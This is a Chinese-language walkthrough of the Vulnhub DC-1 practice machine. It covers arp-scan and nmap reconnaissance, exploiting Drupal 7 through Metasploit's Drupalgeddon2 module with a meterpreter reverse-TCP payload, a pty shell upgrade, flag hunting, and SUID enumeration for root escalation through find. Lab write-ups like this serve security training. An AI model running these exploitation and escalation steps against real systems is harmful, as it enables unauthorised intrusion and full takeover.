玩转靶机Vulnhub：DC1（详细）

靶机Vulnhub：DC1

        靶机和环境准备：

        主机发现：

        信息收集：

        发现并利用漏洞

        SUID提权： 

        总结：

---

靶机和环境准备：

宿主机：kaili

dc1靶机下载：DC: 1 ~ VulnHub

 

主机发现：

arp-scan -l

 发现靶机ip地址192.168.3.76

信息收集：

nmap -A -sV 192.168.3.76

发现是靶机开启了22，80，111这三个端口，http服务上搭建cms：drupal 版本是7

 发现并利用漏洞

使用工具：msfconsole

加载payload

msf6 > search drupal
                                                                                                
Matching Modules                                                                                
================                                                                                
                                                                                                
   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution                                                                                         
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection                                                                                                                
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection                                                                                                                     
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

msf6 > use 1 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

设置参数并进行漏洞利用

为了方便做个回显

python -c 'import pty;pty.spawn("/bin/bash")'\;

 

查找flag.txt，发现有个flag4查看其内容

www-data@DC-1:/var/www$ find / | grep flag
find / | grep flag
/home/flag4
/home/flag4/.bash_logout
/home/flag4/.profile
/home/flag4/flag4.txt
/home/flag4/.bash_history
/home/flag4/.bashrc
/var/www/flag1.txt

内容如下：（似乎好像没啥用）

www-data@DC-1:/var/www$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?

 

SUID提权： 

 继续正常步骤使用，发现flag4的提示中有个find这里有root权限的也有find是不是能用find提权呢？

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

www-data@DC-1:/var/www$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
<d / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null                      
-rwsr-xr-x 1 root root 88744 Dec 10  2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13  2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27  2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13  2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10  2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct  4  2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27  2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18  2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11  2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20  2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27  2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10  2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22  2013 /sbin/mount.nfs

还真是能用find继续提权

查看最后的flag.txt

 

总结：

1.dc1这个靶机难度比较简单入门级别，适合新手刷，能熟悉渗透的流程
2.信息收集对整个渗透过程来说尤其重要，端口扫描和网站指纹的收集
3.msfconsole 的熟悉使用，对漏洞的查找和利用有一点的要求
4.了解suid提权的find提权的使用